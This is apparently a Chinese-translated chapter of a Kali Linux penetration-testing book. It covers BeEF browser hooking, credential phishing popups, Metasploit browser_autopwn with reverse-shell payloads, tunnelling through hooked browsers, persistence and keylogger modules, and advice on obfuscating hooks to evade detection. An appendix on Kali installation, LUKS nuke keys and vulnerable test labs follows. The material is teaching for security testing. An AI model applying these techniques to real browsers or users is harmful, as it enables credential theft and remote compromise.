其中一个更有趣的攻击是 Pretty Theft,它要求用户提供他们在流行网站上的用户名和密码。例如,测试人员可以配置 Facebook 的 Pretty Theft 选项,如下面的截图所示:

BeEF 浏览器的漫游

当攻击执行时,受害者会看到一个弹出窗口,看起来是合法的,如下面的截图所示:

BeEF 浏览器的漫游

在 BeEF 中,测试人员可以从命令结果列的数据字段中查看攻击的历史记录,并得出用户名和密码,如下面的截图所示:

BeEF 浏览器的漫游

将 BeEF 和 Metasploit 攻击集成

BeEF 和 Metasploit 框架都是使用 Ruby 开发的,可以一起操作来利用目标。因为它使用客户端和服务器端的指纹识别来描述目标,browser_autopwn是最成功的攻击之一。

一旦目标被钩住,启动 Metasploit 控制台,并使用以下命令配置攻击:

msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > set LHOST 192.168.43.130
msf auxiliary(browser_autopwn) > set PAYLOAD_WIN32
  windows/meterpreter/reverse_tcp
msf auxiliary(browser_autopwn) > set PAYLOAD_JAVA
  java/meterpreter/reverse_tcp
msf auxiliary(browser_autopwn) > exploit 

等待所有相关的漏洞加载完成。在下面的截图示例中,加载了 18 个漏洞。还要注意攻击的目标 URL。在这个例子中,目标 URL 是http://192.168.43.130:8080/ICprp4Tnf4Z

集成 BeEF 和 Metasploit 攻击

有几种方法可以指导浏览器点击目标 URL,但是,如果我们已经钩住了目标浏览器,我们可以使用 BeEF 的redirect功能。在 BeEF 控制面板中,转到浏览器 | 钩住的域 | 重定向浏览器。在提示时,使用此模块指向目标 URL,然后执行攻击。

在 Metasploit 控制台中,您将看到针对目标连续启动的攻击。成功的攻击将打开一个 Meterpreter 会话,如下面的截图所示:

集成 BeEF 和 Metasploit 攻击

要查看与受损目标的打开会话列表,请键入sessions -l。要与特定会话进行交互连接,例如会话 1,键入sessions -i 1

使用 BeEF 作为隧道代理

隧道是将有效载荷协议封装在传递协议(如 IP)内的过程。使用隧道,您可以在网络上传输不兼容的协议,或者可以绕过配置为阻止特定协议的防火墙。BeEF 可以配置为充当模拟反向 HTTP 代理的隧道代理:浏览器会话成为隧道,而被钩住的浏览器成为出口点。当内部网络被入侵时,这种配置非常有用,因为隧道代理可以用于:

  • 在受害者的浏览器中浏览经过身份验证的站点的安全上下文(客户端 SSL 证书、身份验证 cookie、NTLM 哈希等)

  • 使用受害者浏览器的安全上下文来爬取挂钩域

  • 促进工具的使用,如 SQL 注入

要使用隧道代理,请选择要定位的挂钩浏览器,右键单击其 IP 地址。在弹出框中,如下截图所示,选择使用作为代理选项:

使用 BeEF 作为隧道代理

配置浏览器以将 BeEF 隧道代理作为 HTTP 代理使用。默认情况下,代理的地址是127.0.0.1,端口是 6789。

如果您使用配置为 HTTP 代理的浏览器访问目标网站,所有原始请求/响应对将存储在 BeEF 数据库中,可以通过导航到Rider | History进行分析(日志摘录如下截图所示)。

使用 BeEF 作为隧道代理

攻击完成后,有一些机制可以确保保持持久连接,包括:

  • 确认关闭:当受害者尝试关闭选项卡时,该模块会弹出一个确认导航 - 您确定要离开此页面的弹出窗口。如果用户选择离开此页面,它将不起作用,并且确认导航弹出窗口将继续出现。

  • 弹出模块:这在config.yaml中进行了配置。该模块尝试打开一个小的弹出窗口,以保持浏览器挂钩,如果受害者关闭主浏览器选项卡。这可能会被弹出窗口拦截器阻止。

  • iFrame 键盘记录器:重写网页上的所有链接,以覆盖原始页面高度和宽度的 iFrame。为了最大的有效性,它应该附加到 JavaScript 键盘记录器上。理想情况下,您会加载挂钩域的登录页面。

  • 浏览器中间人:该模块确保每当受害者单击任何链接时,下一个页面也将被挂钩。避免这种行为的唯一方法是在地址栏中键入新地址。

最后,尽管 BeEF 提供了一系列优秀的模块来执行侦察,以及杀伤链的利用和后利用阶段,但已知的 BeEF 默认活动(/hook.js 和服务器标头)被用于检测攻击,降低了其有效性。测试人员将不得不使用诸如 Base64 编码、空格编码、随机化变量和删除注释等技术来混淆他们的攻击,以确保将来的完整有效性。

总结

在本章中,我们研究了针对通常与受保护网络隔离的系统的攻击。这些客户端攻击侧重于特定应用程序的漏洞。我们审查了敌对脚本,特别是 VBScript 和 PowerShell,这些脚本在测试和破坏基于 Windows 的网络方面特别有用。然后,我们研究了跨站脚本框架,它可以利用 XSS 漏洞,以及 BeEF 工具,它针对 Web 浏览器的漏洞。XSSF 和 BeEF 都与 Kali 上的侦察、利用和后利用工具集成,提供了全面的攻击平台。

本章结束了《精通 Kali Linux 高级渗透测试》。我们希望这本书能帮助您了解攻击者如何使用 Kali 等工具来破坏网络,以及您如何使用相同的工具来了解网络的漏洞并在您自己的网络受到损害之前加以调解。

附录 A. 安装 Kali Linux

Kali Linux 是一个基于 Linux 的操作系统,用作支持数百种不同应用程序的平台,用于审计网络的安全性。其复杂性与安装和使用它的多种方法相匹配。本章将涵盖安装 Kali 时需要考虑的一些因素,并将重点放在如何尽快启动和运行安全的虚拟机上。它还将探讨如何建立和维护一个廉价的站点,以测试本书中涵盖的材料。

下载 Kali Linux

有多种选项可用于下载和安装 Kali Linux。在本出版物发布时,最新版本是 1.06;但是,1.07 版本即将发布。当前版本可从官方网站(www.kali.org/downloads/)以 32 位和 64 位编译版本下载。

Offensive Security提供了预配置的高级 RISC 机器ARM)处理器的版本(例如,Galaxy Note 10.1、Raspberry Pi 和 Samsung Chromebooks)可供下载;支持 ARMEL 和 ARMHL 平台。此外,预制的 VMware 映像也可在www.offensive-security.com/kali-llnux-vmware-arm-image-download/上在线获取。

下载适当的映像后,请确保 SHA1 校验和文件是由 Kali 生成的(它将使用官方 Kali 加密密钥进行签名,可在线获取以验证下载的真实性),并检查 SHA1 校验和以验证映像的完整性。验证工具内置于 Linux 和 OSX 操作系统中;但是,您将不得不使用第三方工具,如hashtabwww.implbits.com/HashTab/HashTabWindows.aspx)用于 Windows 操作系统。

如果您希望构建 Kali 的自定义版本,特别是具有备用桌面或工具集的版本,可以使用docs.kali.org/live-build/generate-updated-kali-iso上提供的 live-build 脚本。

Kali Linux 的基本安装

一旦您获得了适当的 Kali Linux 发行版,就必须安装以供使用。以下安装选项可用:

  • 安装到 i386、AMD64 或 ARM 系统硬盘。Kali Linux 将是设备启动时唯一的主机操作系统。

  • 双启动系统。通常,在使用 MS Windows 操作系统时选择此选项。在启动时,用户可以选择将系统启动为 Kali Linux 或 Windows 操作系统。这比直接安装 Kali 到硬盘提供了更多的灵活性;但是,在两个系统之间切换会变得困难。

  • 直接安装到 DVD 驱动器或 USB 设备。如果主机系统可以配置为从 USB 设备启动,则这是非常有用的;但是,如果 USB 设备需要是持久的(在测试过程中对基于操作系统、应用程序和数据所做的所有更改都将被保留),则需要进行额外的配置更改。

  • 使用 VMware 或 VirtualBox 等产品安装为虚拟机。我们发现这是支持渗透测试最灵活的选项。

  • Kali 支持两种类型的网络安装——迷你 ISO安装和网络 PXE安装。迷你 ISO 在系统上安装了一个缩减版的 Kali 发行版,然后依赖快速网络连接来安装其余所需的应用程序,以获得有效的最终产品。网络 PXE 安装在引导过程中支持终端(没有 CD-ROM 和 USB 端口),获取 IP 地址信息并安装 Kali。

  • 现在可以从云中使用 Kali-Amazon EC2 市场提供了 Kali 的 64 位最小镜像(aws.amazon.com/marketplace/pp/B00HW50E0M)。Kali 镜像是免费的,用户只需支付常规的 AWS 使用费。

提示

由于亚马逊的规定,此版本的 Kali 默认不使用 root 帐户。一旦您从亚马逊获取了 SSH 密钥,您必须以用户身份连接到 Kali 实例,然后切换到 root。您可能需要下载其他工具来支持测试。最后,您必须通知亚马逊,它正在用于合法的安全测试,而不是作为攻击工具。

将 Kali Linux 安装到虚拟机

在本书中,Kali 被配置为虚拟机(VM)。在进行渗透测试时,虚拟机具有以下优势:

  • 可以开发和维护一个常见的测试虚拟机,确保测试人员熟悉工具集及其对典型目标系统的影响。

  • 虚拟机可以快速在主机和客户操作系统之间切换,允许测试人员在 Windows 和 Linux 平台之间移动,以找到测试的最佳工具组合。

  • 虚拟机是可移动的-它们可以移动到不同的系统和操作平台。

  • 虚拟机可以保留在库中以便进行回归测试。在使用一组工具验证网络或系统的安全性后,测试人员经常被问及他们的方法和工具是否会检测到测试时存在的特定漏洞。测试人员可以返回并使用存档的虚拟机重新测试漏洞,以确定是否会被检测到或网络是否处于受攻击的风险中。

虽然可以下载预制的虚拟机,但大多数测试人员使用经过验证的 ISO 镜像创建自己的虚拟机(将 Kali 安装到虚拟机的过程几乎与将其安装到硬盘或媒体(如 USB 键)相同)。Kali 支持 VMware 和 Oracle VirtualBox 虚拟机。

总的来说,该过程简单且由应用程序向导引导您完成。例如,使用 VMware 时,该过程如下:

  1. 选择创建新虚拟机图标以创建新的虚拟机。

  2. 选择使用 ISO 镜像创建虚拟机。

  3. 选择客户操作系统。

  4. 设置 ISO 镜像的名称和位置。

  5. 设置磁盘空间;最小使用量应为 12 GB,但至少要留出 20-25 GB。至少应为虚拟机提供 1 GB 内存;但是,如果您要测试大型网络并将使用多线程工具,则可能希望将其增加至至少 3 GB。

  6. 审查硬件配置。

提示

确保虚拟机配置为仅对主机操作系统可见,特别是如果尚未更新。如果您正在配置虚拟机用作目标,请注意,如果它对互联网可见,您的测试平台可能会受到外部攻击者的威胁。

  1. 启动虚拟机。引导菜单将提供几个选项;选择图形安装

  2. 按照提示选择正常语言、时区、主机名和设置 root 密码。

  3. 在设置磁盘分区时,如果不使用双引导选项,可以将整个分区设置为虚拟磁盘。建议您在此时选择此选项进行全盘加密。

  4. 虚拟机应用程序将完成分区,将更改写入磁盘,然后安装系统文件。在提示输入一些额外的配置信息后,虚拟机将重新启动。

  5. 此时,系统已经启动。按照第一章中描述的配置支持渗透测试,开始使用 Kali Linux

提示

Kali 的预配置分发通常依赖于默认的用户名和密码,并可能具有预生成的 SSH 主机密钥。这些应尽快更改。

全盘加密和清除主密钥

渗透测试人员通常手中持有敏感信息-成功的测试可以揭示客户网络中的缺陷,甚至用于进行渗透测试的工具在某些司法管辖区可能被视为非法。因此,测试人员经常使用全盘加密来保护其系统。

在安装到硬盘或虚拟机的分区阶段,Kali 可以设置为使用逻辑卷管理LVM)和Linux 统一密钥设置LUKS)的组合进行全盘加密,这是 Linux 硬盘加密的标准应用程序。如下图所示:

全盘加密和销毁主密钥

访问加密驱动器需要密码短语,并建议密码短语长度为 20 个或更多字符。不幸的是,鉴于最近出现的国家赞助的监视,有人担心测试人员可能会被迫向政府特工提供密码短语,从而消除加密的好处。

解决方案是提供一个将销毁或破坏主密钥的密码短语。这将确保机密性,使得无法解密驱动器。这一功能最近添加到 Kali Linux 1.06 版本中。

Kali Linux 集成了 LUKS,这是一个平台无关的加密规范,允许用户对硬盘上的分区进行加密。LUKS 允许多个用户密钥解密主密钥,允许多个用户对数据进行加密和解密,并允许使用备份密钥。

创建 LUKS 加密容器时,会生成一个随机主密钥。该主密钥使用密码短语进行加密。这种方法的优势在于密码短语不直接与数据相关联-如果两个相同的卷被加密并使用相同的密码短语,则主密钥仍然是唯一的,并且不能互换。

这意味着如果主密钥丢失或损坏,就不可能恢复加密数据。这种属性允许我们通过故意擦除主密钥来销毁加密卷或硬盘的恢复,如果输入特定密码短语。紧急自毁功能是在 Kali Linux 1.06 版本中添加的,并可以使用 cryptsetup 实用程序实现。

要使用销毁功能:

  1. 使用全盘加密选项安装 Kali。在安装 Kali 之前,所有分区将被擦除;这将导致安装速度变慢。

  2. 使用以下命令验证加密硬盘的 LUKS 头信息:

root@kali:~# cryptsetup luksDump /dev/sda5

密钥槽 0,与磁盘加密密码相关联,已启用。其余密钥槽未使用。以下是先前命令的执行结果:

全盘加密和销毁主密钥

  1. 使用以下命令添加销毁密钥:
root@kali:~# cryptsetup luksAddNuke /dev/sda5

系统将提示您输入现有密码短语以验证身份,然后要求您输入新密码短语以用于销毁选项。请注意-它不会提示用户重复输入密码短语,以防止输入错误。以下是先前命令的执行结果:

全盘加密和销毁主密钥

  1. 要确认销毁密钥是否已启用,请查看可用密钥槽的列表,使用以下命令:全盘加密和销毁主密钥

密钥槽 1现在已启用;它包含销毁密钥。

  1. 使用以下命令备份密钥:
root@kali:~# cryptsetupluksHeaderBackup --header-backup-file 
  <filename> /dev/sda5 

  1. 主密钥文件备份后,对其进行加密并将其转移到系统外进行安全存储。有几种应用程序可用于加密(例如,7 Zip,bcrypt,ccrypt 和 GnuPG),或者您可以使用内部命令,如openssl。示例命令如下:
root@kali:~# opensslenc -aes-256-cbc -salt -in <filename>
  -out <encrypted filename.enc> 

当备份文件被保护后,您的系统将受到强制密码提取的保护。如果输入了核弹密码,主密钥的本地副本将被销毁,从而无法访问加密文件。

如果在输入核弹密码后转储 LUKS 头部,您将看到如下截图所示的输出:

全盘加密和销毁主密钥

如果您想恢复一个被迫销毁的驱动器?只要您可以从远程存储位置检索加密头部,这就是一个简单的问题;您将能够解密硬盘并恢复数据。一旦解密了加密头部(使用基于保护文件的方法的适当解密命令),输入以下命令:

root@kali:~# cryptsetupluksHeaderRestore --header-backup-file 
  <filename> /dev/sda5 

这将生成以下警告:

Device /dev/sda5 already contains LUKS header, Replacing header will 
  destroy existing keyslots. Are you sure? 

当提示时,输入YES。这将替换头部并允许您解密硬盘。

建立测试环境

在测试生产环境之前,测试人员充分了解如何使用测试工具,它们对目标系统的影响,以及如何解释与针对目标执行的活动相关的数据是非常重要的。

在受控环境中进行测试通常会产生与在生产系统上运行相同测试时不同的结果,原因包括以下几点:

  • 目标环境中的操作系统与测试环境中的操作系统不同,包括操作系统的不同版本。(XP 与 Windows 8.1 显然不同,但 Windows 8.1 专业版和企业版之间或 32 位和 64 位操作系统之间也存在差异。)为了支持本地语言而对操作系统进行的修改也可能对漏洞的存在产生重大影响。

  • 目标环境具有不同的服务包、补丁或升级。

  • 目标环境安装了不同的第三方应用程序;这些应用程序可能与网络流量冲突,引入新的漏洞,或影响测试人员利用现有漏洞的能力。

  • 在主机环境中配置为虚拟机的目标可能与直接安装在裸机上的目标系统有不同的反应。

  • 目标受到各种网络和系统设备以及应用程序的保护。

为了获得最佳结果,测试人员(和攻击者)通常使用两阶段测试过程。测试人员首先使用一个明确定义的虚拟机(如 Windows XP)执行攻击,以确定最有效的攻击工具和方法;一旦这个简单的测试案例被证明,测试人员会使用一个更复杂的虚拟或物理网络重新验证攻击,尽可能地模拟目标网络。

易受攻击的操作系统和应用程序

测试人员通常会维护当前和历史操作系统的库。

在测试微软操作系统时,WinXP 被用作测试漏洞的参考标准。尽管 Windows XP 将在 2014 年停用,并且不再得到微软的支持,但它将继续存在于许多网络中的服务器和工作站,以及嵌入在打印机和销售点终端等设备中。

在测试易受攻击的 Windows 操作系统时,订阅 MSDN(msdn.microsoft.com/en-ca/subscriptions/aa336858)是非常宝贵的,以便获得实验室中测试当前微软产品的访问权限。

提示

不要使用从公共文件共享服务(如 Torrent 站点)下载的操作系统。DigitalDefence 最近评估了从 Torrent 站点下载的 40 个微软操作系统下载 - 每个下载都被感染了一个后门,以允许攻击者远程访问。

要测试具有特定漏洞的旧第三方 Windows 应用程序,测试人员可以访问保留旧应用程序副本的在线存储库;其中许多包括可利用的漏洞。此类存储库的示例可在以下链接中看到:

由于它们的开源性质,多个版本的类 Unix 操作系统(Linux、BSD 和 Solaris)可供下载和测试。

以下项目将允许您测试已知漏洞的 Unix 操作系统安装,您可以访问:

通常可以在应用程序的网站上下载具有已知漏洞的旧 Unix 应用程序。

可以从 VulnHub 存储库(vulnhub.com)下载用于测试的复杂环境(操作系统和易受攻击的应用程序)。这些镜像通常附有演练,演示了利用镜像的各种方法。其中一些镜像包括以下内容:

  • bWAPP:这提供了几种方法来破坏示例网站

  • VulnVPN:这允许测试人员利用 VPN 服务以访问服务器和内部服务并获得 root 访问权限

  • VulnVoIP:这允许测试人员进行侦察并允许利用 VoIP 网络

最后,测试人员将希望利用一些可用于测试的易受攻击的基于 Web 的应用程序。

最常见的测试目标之一是名为 Metasploitable 的 Linux 镜像。基本操作系统存在多个漏洞;此外,它在启动时加载易受攻击的 Web 应用程序。要访问这些应用程序,请将 Metasploitable 作为 VM 打开,然后启动一个带有 Kali Linux 的单独 VM。在 Kali VM 中,打开浏览器并输入 Metasploitable VM 的 IP 地址。您将看到菜单选项,如下图所示:

易受攻击的操作系统和应用程序

基于 Web 的应用程序可以用于支持企业测试以及针对 Web 应用程序的特定攻击。以下是五个应用程序:

  • TWiki:这是一个支持企业协作的维基应用程序,在测试过程中使用结构化内容创建简单的工作流系统

  • phpmyadmin:允许通过 Web 远程管理 MySQL 数据库

  • webdavWeb 分布式创作和版本控制的一组扩展,允许用户协作编辑和管理远程 Web 服务器上的文件

  • Mutillidae:一个易受攻击的 Web 黑客应用程序,由易受攻击的 PHP 脚本组成,易受 OWASP 前 10 个漏洞的影响

如您在以下屏幕摘录中所见,前 10 个漏洞可在下拉菜单中找到。例如,选择选项A2 - 跨站脚本XSS)将使您访问与特定漏洞类型匹配的子菜单(反射持久DOM 注入等)。

易受攻击的操作系统和应用程序

提示

Mutillidae配置文件中指定的数据库是不正确的,您可能会收到需要数据库访问的多个错误。要解决这些问题,请登录到 Metasploitable2 并编辑/var/www/mutillidae/config.inc文件;将dbname字段从metasploit更改为owasp10

  • 最后,Metasploitable 框架启动了Damn Vulnerable Web ApplicationDVWA),提供了一组不同的挑战,以练习针对特定漏洞的攻击。易受攻击的操作系统和应用程序

其他易受攻击的基于 Web 的应用程序已经得到了很好的描述,包括以下内容:

posted @ 2024-05-04 01:10  绝不原创的飞龙  阅读(3)  评论(0编辑  收藏  举报